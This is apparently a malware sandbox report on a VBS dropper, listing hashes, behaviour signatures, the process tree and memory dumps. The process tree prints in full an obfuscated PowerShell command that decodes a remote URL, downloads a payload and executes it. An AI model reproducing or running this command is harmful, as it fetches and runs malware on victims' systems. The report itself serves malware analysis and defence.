Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

8

Static

static

1

57eab6c4e7...da.vbs

windows7-x64

8

57eab6c4e7...da.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    95s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/10/2024, 01:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    57eab6c4e70ae89f96d173062df0ef84292e6315d474cb416f5c776b489cc3da.vbs

  • Size

    214KB

  • MD5

    7eaa8d136858efb4573938706338096f

  • SHA1

    4e0b80849f1164c7943946987c15f32a43dba223

  • SHA256

    57eab6c4e70ae89f96d173062df0ef84292e6315d474cb416f5c776b489cc3da

  • SHA512

    06f909e47acbc1f238881526e70da2a6cbdf1e5fc3eb019bb8f758042b8c2498c73bc4cb77f7b835dcfc9064fa4d79d4de189c3aa50e2a661e35c96e9b512af0

  • SSDEEP

    6144:gAOTDoRQRWAgAHNSjH1EWMS/RT/Sfj986x8WIERjNNkSkwwihiW3J0GYeduNvbdH:9lH6z0T2bg

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\57eab6c4e70ae89f96d173062df0ef84292e6315d474cb416f5c776b489cc3da.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Computerstyre Creatinephosphoric reheal Papillated Dieldrins Rosseaus #>;$Hustelefonerne='Unwintry';<#leeky Kastreringers stegepanden #>;$Vetiveria=$Hagerem+$host.UI;If ($Vetiveria) {$Forhjede++;}function Ophjningen($jovialt){$Genfandt=$Uddannelsessttte+$jovialt.Length-$Forhjede; for( $Bogtilrettelgningen=3;$Bogtilrettelgningen -lt $Genfandt;$Bogtilrettelgningen+=4){$skinverdnernes='skohorns';$Elementhuses188+=$jovialt[$Bogtilrettelgningen];$Affolkningen='sprngt';}$Elementhuses188;}function Flderandene($Dataforbindelse){ . ($Camail) ($Dataforbindelse);}$Opslugninger=Ophjningen 'GodMLinoTryzKrei ltl I l siaMan/abe5 ,u.Eas0sto ro(TotW UsiThinRe.dNs o hw Als hi p.NAfsT Mo Nec1Bo 0 In.syr0Ove;Apo KurWTipiAllnFr 6Jam4sny; al lulxslr6 ,a4Exp;Tul UnirLatv .h: Dh1Ovo2ter1 Ar.In 0Apo)sis BdkG Miedimc ,okG,foA p/Mid2Art0Pri1se.0Mun0 fo1 a0Avi1 K RevFpliiE er reeCyafVigoDisxstu/Br 1Hal2 fo1Glu.Rod0An ';$systemopstningerne=Ophjningen 'ForuTers uoeBefr ak-.elAKatGMi e unnEmbt ve ';$Antedaterede=Ophjningen 'Chrh eftZ itNonpAfr:U s/ sc/.ele,raq FouBraiKlup pl4Clo.Fris ihChloUnfpFor/ nYKorqGilrPoreN nE f k TaF K.OD a/PreRDure BasH rtRapaReauaucrstueGrarslaeFrid leePoss a.UnfdParwMacpK v ';$Burian=Ophjningen 'Ba >Tvi ';$Camail=Ophjningen 'Noni o.EPr XArt ';$Rensdyrlavernes='Catharism';$Redningsvestes='\Vejplade.Agg';Flderandene (Ophjningen ' F,$oveg .al aOsc.B BrAKorLspk:Trul,esA K NBeidBrurMilY pv=Her$GanEspaNF gv r:sy.aHelPE ep Apd KaaKolttulAAsc+Ov $Jagr Exe E dHunn OviUskNRepgMunsUlvvstoeTr.s.igTbedeGo sCry ');Flderandene (Ophjningen ',yd$VinG hel .aOs lBNovAImpLCor:EnsC BuAPe,rskuLsw y solReaeOvesEftq eduUnve sa=Afs$Guda bonC etVolEBrydheiaH uTLyseustRmi,eH,ld Koesty.OvesAmpPR,clResIF etstr(Kla$ inbB eUE,cR ReI.piADosNsp )I,t ');Flderandene (Ophjningen 'Coa[ nnnLedeFadTK.l. its M.EM crG mVnonIOveCPleE,elPUnao TrIMarnchatId,MAt A NuNCata s GUnrE rrTit]sla:Oph:Decs krEVolc PeuAtoROl I ytre yP.aPbefr jnOPortAn,O GeCCryOPasl La Ben=Pre non[lanNConE tytCol.C ls deKa.C,ndustarr gI tetT.rysl,pCh.rFr,OMouTMadoPlacTiloPselAnlt Ury,kkpAr eLec]Ho,:Rad: Kit,opLpt,s,ol1 Ch2Mon ');$Antedaterede=$Carlylesque[0];$Fishiness=(Ophjningen ' y$F jgJiblb.eosaiB U aOrdlski:Plkl agIvddnHoyoTroL Bre,jrU,wemComsvart mnrHasYsp.KEn = ofn she dowsfr-Te OPlab epjAntEZapcKontOrd FlsT,iyVilsRegt sueHalm.na..rrn eaEMiaTIn,.MagWQuiE s BKr C lgL akiIn E ornKrat h. ');Flderandene ($Fishiness);Flderandene (Ophjningen 'Eft$FerLseliOblnBuroPeelProe caugrim Als ortInfr styLaakTet.BueHIn,eUnpatutdBrueHarrPinsPho[shl$samsHumyr ysn utB aeUltm CioIndp alsHumtKi,nPhoiKonnPa.gBuseslurcu nPreeDis].en=M l$Nu O prpheas Dil R,u ,egAk,ntalihy.nMengFlaesigrVkk ');$Aprjtelakeringsvrkstedet=Ophjningen 'A c$BicLCoti un NioDislAmeeTi uskam KosEmbttidrEsty.bak Pe.KikDLeuoManwN nn gel VaoI daMasdManF Hyi orl.aresta(Ov $RomAtetn KetBeheReidD.aafh tmuzeIntrO ye Fyd niesyv,sho$dveYKryuUv.rByluKunkB.l) ig ';$Yuruk=$Landry;Flderandene (Ophjningen ' Pl$ F gF nl OuOslvB Ela LilMer:Vocs stKWa r FiUC ietreB,huLlivyArvaVanNNonT ste,anrUnbN InE Faswee=Cau(indT OseAnhs Klt ,l-OutPsuba TrTRe,h sw Ka$Napy KoURanrParUAchKPom)Lev ');while (!$skrueblyanternes) {Flderandene (Ophjningen ' on$s,bgRyglResoHerb etaUnpl so:sapN ReaDuorO,prRig=sn.$Fo t agrWhou heRea ') ;Flderandene $Aprjtelakeringsvrkstedet;Flderandene (Ophjningen 'Dk sursTMopaGe rGaptEnf-Excsforl AvEsjae vpKol H 4Elo ');Flderandene (Ophjningen 'Arm$BenGRebl CyoGenbLinAU slPhi:sers usKBilRVidUErheEr,B,ilLs,dy.jaA Men .rTEmeeMyeRUdsNFraETids .o= on(antt.aceAl.s OrT .a-At p MuaUsmTAdmHFor saf$IntYs iuproRTiduNo K,ni)Opt ') ;Flderandene (Ophjningen 'sim$ExtGAskLOpiosteB.ilaAp,L De:B.lDAm E,eemscriCtelFabiBehtHu,e otR .eAV,tTUlae Br=Fa.$PsyG eglDo.OEo Bfora FlLDid:slrestrustiDDatEKniMEcto H,nHy.i,arA Dr+Ge,+Rag%Vej$subc araDejRNaplOveys oLTekEUnssO,eqFl,ustiEsel.stiCNetO roUBioNFort.rf ') ;$Antedaterede=$Carlylesque[$Demiliterate];}$Foliant130=308079;$Faceable=28513;Flderandene (Ophjningen ' t$Unrgf.nL,enO C.b,emA .plhom:Pe,s anUKi pHanEHotR uE PlxT oC KarInaeZ.os RucInte K nallt ar9 ca4Tra er = va ChGPareZootKon-Anac ByO Adn A T MaEJo.nptat Fl R a$PhoY FoUPraR,aruL uKFor ');Flderandene (Ophjningen ' i$sneg n lAntoUskb ha smlGai:UopBBdniTralU st njoAc.gUdje ertPu s sc2 am0Typ3C.r ,et=Di. Des[ asAmtyswasKrytL.uesp,mVes. olC H oFygn rovNj,ePatrCo t ma] Un:ste:R fF itrWaloChum,euBFllaMids HjeUno6 En4 sesP.atsymrBehiAr,n AlgUni( Ci$IncsG aucorp UnePhrr efehldxClacsisrI.ceNa s abcKrse TinUn t Un9 Gl4 re) P. ');Flderandene (Ophjningen ' n$salG AnlrowoFa b fraJesl na:InksM shNona .nmUnco oYPasIKigNHubGs y su =.ov Pi[ ilsVe Y .isNegTEpie emspe.H lt,sbEmozxM rTEcp.EchEA bn.auCk noReld HeI ,wNMisg en] T :E,u:Wiea U skalcsubiDonI er. HaGGrieUncT asRinT H RUnaispnn GygRe ( ra$Boub D.I elBttTEndO,adg ge smTsk ssud2Div0Fi 3Ind)Udk ');Flderandene (Ophjningen ' B $TilGN.nlParORa.bUn,as olskd: PhaPu DBasEverQResU seAMelTWo i emo paN s =skr$DevsF nHTr A s M ocokalysl,iMonnPolGKam. MasHybu Lob onssa TL tR .cIBranH,vGs l(W,t$Af f .io W.LUniI,riaKalnRest ar1 a3spr0Inf,Unm$Ti FBraaFibCEksesu,ADagbKlolReceIde)Ced ');Flderandene $Adequation;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyapny4v.dv2.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2584-2-0x00007FFB68A93000-0x00007FFB68A95000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2584-9-0x000001A6897A0000-0x000001A6897C2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2584-13-0x00007FFB68A90000-0x00007FFB69551000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2584-14-0x00007FFB68A90000-0x00007FFB69551000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2584-17-0x00007FFB68A90000-0x00007FFB69551000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2584-18-0x00007FFB68A90000-0x00007FFB69551000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2584-21-0x00007FFB68A90000-0x00007FFB69551000-memory.dmp

    Filesize

    10.8MB

    Download